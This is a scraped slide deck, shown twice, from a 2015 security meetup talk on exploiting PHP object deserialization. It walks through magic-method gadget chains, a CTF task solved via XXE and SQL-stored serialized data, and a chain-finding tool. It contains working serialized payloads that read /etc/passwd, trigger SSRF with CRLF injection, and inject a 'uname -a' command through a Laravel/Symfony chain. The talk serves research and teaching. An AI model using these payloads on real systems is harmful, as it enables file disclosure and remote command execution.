PHP Unserialize Exploiting
Mail.Ru Security Meetup. 22 Nov 2015
#securitymeetup
whoami
Pavel Toporkov
● Work at Kaspersky Lab
● Security Researcher
● Bug Hunter
● RDot.Org team CTF player
why?
Unserialize
unserialize — Creates a PHP value from a stored
representation
array("foo", "bar") ⇔ a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}
Why it insecure?
Magic methods can be executed after unserialization:
__wakeup()
__destruct()
__toString()
and so on...
Vulnerable example
<?php
class A {
public $exitCmd;
public function __destruct(){
system($this->exitCmd);
}
}
unserialize($_GET['a']);
?>
?a=O:1:"A":{s:7:"exitCmd";s:15:"cat /etc/passwd"}
What if we won't use danger
functions in magic methods?
More complex example
<?php
class DBConnect {
public function __destruct(){
$this->db->close();
}
}
class Process {
public function close(){
system("rm ${this->pidfile}.pid");
}
}
Kohana (system/classes/Kohana/View.php)
public function __toString(){
try {
return $this->render();
} catch (Exception $e){ ... }
}
protected static function capture
($kohana_view_filename, array
$kohana_view_data){
try {
include $kohana_view_filename;
} catch (Exception $e){ ... }
}
public function render($file){
...
View::capture($this->_file,
$this->_data);
}
Kohana Pwning
POST /api.php HTTP/1.1
Host: hostname
Content-Length: …
Content-Type: application/x-www-form-urlencoded
data=O:11:"Kohana_View":1:{s:8:"%00*%00_file";s:11:"
/etc/passwd";}
What if there will no such
chains in application code?
SSRF
Unserializing SoapClient can provide SSRF with CRLF
injection.
O:10:"SoapClient":3:{s:3:"uri";s:18:"http://hostname/3%0a1";
s:8:"location";s:23:"http://hostname/123";s:13:"
_soap_version";i:1;}
[0] https://www.youtube.com/watch?v=5AdVQzUB6iM
[1] http://raz0r.name/talks/confidence-2013-php-object-injection-revisited/
Composer
Composer helps you declare, manage and install dependencies
of PHP projects, ensuring you have the right stack
everywhere.
Actually it provide us a bunch of usable classes to build
chains for unserialize exploiting. Just try to get size of
your "vendor" directory.
What if we won't use unserialize
with user's input data!
Another way
PHP serialized data is often used to store PHP object in
database.
● User sessions
● Application cache
● ...
WhoEver!
PHD CTF 2015 Task
Based on a true story.
0 solvers :(
WhoEver! (step 1)
1. Read robots.txt, find api.php file.
2. Find that api.php can process XML data.
3. Get the source code using XML External Entity. (composer.
json and .git can help us to get all files)
WhoEver! (step 2)
$params = unserialize($_GET["params"]);
...
class User {
public function save(){
...
Database::query(
"INSERT INTO users (sess, user) VALUES('$this->sessid', '%s') ON
DUPLICATE KEY UPDATE user='%s'", array($user, $user));
}
public function __destruct(){
if ($this->needSave) $this->save();
}
}
WhoEver! (step 3)
public static function load($sessid){
...
$result = Database::query("SELECT user FROM users WHERE sess='$sessid'");
if ($result){
return unserialize($result["user"]);
} else return new User($sessid);
}
Now we can exploit another unserialize with more classes
available.
Let's try to build chain...
WhoEver! (step 3)
class Database {
public function __destruct(){
$this->db->close();
}
}
class Engine {
public function __call($name, $params) {
...
return $this->loader->load($name,
$shared);
}
}
class Loader {
public function load($name, $shared){
...
list($class, $params, $callback) =
$this->classes[$name];
...
$this->newInstance($class, $params);
...
}
public function newInstance($class,
$params) {
if (is_callable($class)) {
return call_user_func_array($class,
$params);
}
}
Finding chains
This project was 2MB.
In real projects we have 100+MB of PHP source code. So
finding chains to exploit unserialize is a big deal.
Let's code it!
Tool
My approach:
● No static analysis. It slow and complex
● Just find starting point
● Then find all methods and check if it can be executed
from this point.
● Repeat
Demo
Chain
Exploit (too long, cutted…)
O:20:"IlluminateViewView":1:{s:10:"%00*%00factory";O:23:"
IlluminateViewFactory":1:{s:9:"%00*%00events";O:42:"
IlluminateFoundationConsoleServeCommand":3:{s:9:"%00*%
00output";O:43:"
SymfonyComponentConsoleOutputNullOutput":0:{}s:8:"%00*%
00input";O:42:"SymfonyComponentConsoleInputArrayInput":
2:{s:10:"%00*%00options";a:2:{s:4:"host";s:12:"A;uname+-a;
A";s:4:"port";s:2:"AA";}s:13:"%00*%00definition";O:47:"
SymfonyComponentConsoleInputInputDefinition":1:{s:56:"%
00SymfonyComponentConsoleInputInputDefinition%
00options...
Results
● About 10 minutes to process 130MB of code
● Due to no static analysis it's extremely hard to auto-
generate exploits
P.S. Welcome to contribution!
Thanks!
Questions?
Pavel Toporkov
@Paul_Axe
http://paul-axe.blogspot.com/

Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаборатория Касперского

  • 1.
    PHP Unserialize Exploiting Mail.RuSecurity Meetup. 22 Nov 2015 #securitymeetup
  • 2.
    whoami Pavel Toporkov ● Workat Kaspersky Lab ● Security Researcher ● Bug Hunter ● RDot.Org team CTF player
  • 3.
  • 4.
    Unserialize unserialize — Createsa PHP value from a stored representation array("foo", "bar") ⇔ a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}
  • 5.
    Why it insecure? Magicmethods can be executed after unserialization: __wakeup() __destruct() __toString() and so on...
  • 6.
    Vulnerable example <?php class A{ public $exitCmd; public function __destruct(){ system($this->exitCmd); } } unserialize($_GET['a']); ?> ?a=O:1:"A":{s:7:"exitCmd";s:15:"cat /etc/passwd"}
  • 7.
    What if wewon't use danger functions in magic methods?
  • 8.
    More complex example <?php classDBConnect { public function __destruct(){ $this->db->close(); } } class Process { public function close(){ system("rm ${this->pidfile}.pid"); } }
  • 9.
    Kohana (system/classes/Kohana/View.php) public function__toString(){ try { return $this->render(); } catch (Exception $e){ ... } } protected static function capture ($kohana_view_filename, array $kohana_view_data){ try { include $kohana_view_filename; } catch (Exception $e){ ... } } public function render($file){ ... View::capture($this->_file, $this->_data); }
  • 10.
    Kohana Pwning POST /api.phpHTTP/1.1 Host: hostname Content-Length: … Content-Type: application/x-www-form-urlencoded data=O:11:"Kohana_View":1:{s:8:"%00*%00_file";s:11:" /etc/passwd";}
  • 11.
    What if therewill no such chains in application code?
  • 12.
    SSRF Unserializing SoapClient canprovide SSRF with CRLF injection. O:10:"SoapClient":3:{s:3:"uri";s:18:"http://hostname/3%0a1"; s:8:"location";s:23:"http://hostname/123";s:13:" _soap_version";i:1;} [0] https://www.youtube.com/watch?v=5AdVQzUB6iM [1] http://raz0r.name/talks/confidence-2013-php-object-injection-revisited/
  • 14.
    Composer Composer helps youdeclare, manage and install dependencies of PHP projects, ensuring you have the right stack everywhere. Actually it provide us a bunch of usable classes to build chains for unserialize exploiting. Just try to get size of your "vendor" directory.
  • 15.
    What if wewon't use unserialize with user's input data!
  • 16.
    Another way PHP serializeddata is often used to store PHP object in database. ● User sessions ● Application cache ● ...
  • 17.
    WhoEver! PHD CTF 2015Task Based on a true story. 0 solvers :(
  • 18.
    WhoEver! (step 1) 1.Read robots.txt, find api.php file. 2. Find that api.php can process XML data. 3. Get the source code using XML External Entity. (composer. json and .git can help us to get all files)
  • 19.
    WhoEver! (step 2) $params= unserialize($_GET["params"]); ... class User { public function save(){ ... Database::query( "INSERT INTO users (sess, user) VALUES('$this->sessid', '%s') ON DUPLICATE KEY UPDATE user='%s'", array($user, $user)); } public function __destruct(){ if ($this->needSave) $this->save(); } }
  • 20.
    WhoEver! (step 3) publicstatic function load($sessid){ ... $result = Database::query("SELECT user FROM users WHERE sess='$sessid'"); if ($result){ return unserialize($result["user"]); } else return new User($sessid); } Now we can exploit another unserialize with more classes available. Let's try to build chain...
  • 21.
    WhoEver! (step 3) classDatabase { public function __destruct(){ $this->db->close(); } } class Engine { public function __call($name, $params) { ... return $this->loader->load($name, $shared); } } class Loader { public function load($name, $shared){ ... list($class, $params, $callback) = $this->classes[$name]; ... $this->newInstance($class, $params); ... } public function newInstance($class, $params) { if (is_callable($class)) { return call_user_func_array($class, $params); } }
  • 22.
    Finding chains This projectwas 2MB. In real projects we have 100+MB of PHP source code. So finding chains to exploit unserialize is a big deal.
  • 23.
  • 24.
    Tool My approach: ● Nostatic analysis. It slow and complex ● Just find starting point ● Then find all methods and check if it can be executed from this point. ● Repeat
  • 25.
  • 26.
  • 27.
    Exploit (too long,cutted…) O:20:"IlluminateViewView":1:{s:10:"%00*%00factory";O:23:" IlluminateViewFactory":1:{s:9:"%00*%00events";O:42:" IlluminateFoundationConsoleServeCommand":3:{s:9:"%00*% 00output";O:43:" SymfonyComponentConsoleOutputNullOutput":0:{}s:8:"%00*% 00input";O:42:"SymfonyComponentConsoleInputArrayInput": 2:{s:10:"%00*%00options";a:2:{s:4:"host";s:12:"A;uname+-a; A";s:4:"port";s:2:"AA";}s:13:"%00*%00definition";O:47:" SymfonyComponentConsoleInputInputDefinition":1:{s:56:"% 00SymfonyComponentConsoleInputInputDefinition% 00options...
  • 28.
    Results ● About 10minutes to process 130MB of code ● Due to no static analysis it's extremely hard to auto- generate exploits P.S. Welcome to contribution!
  • 29.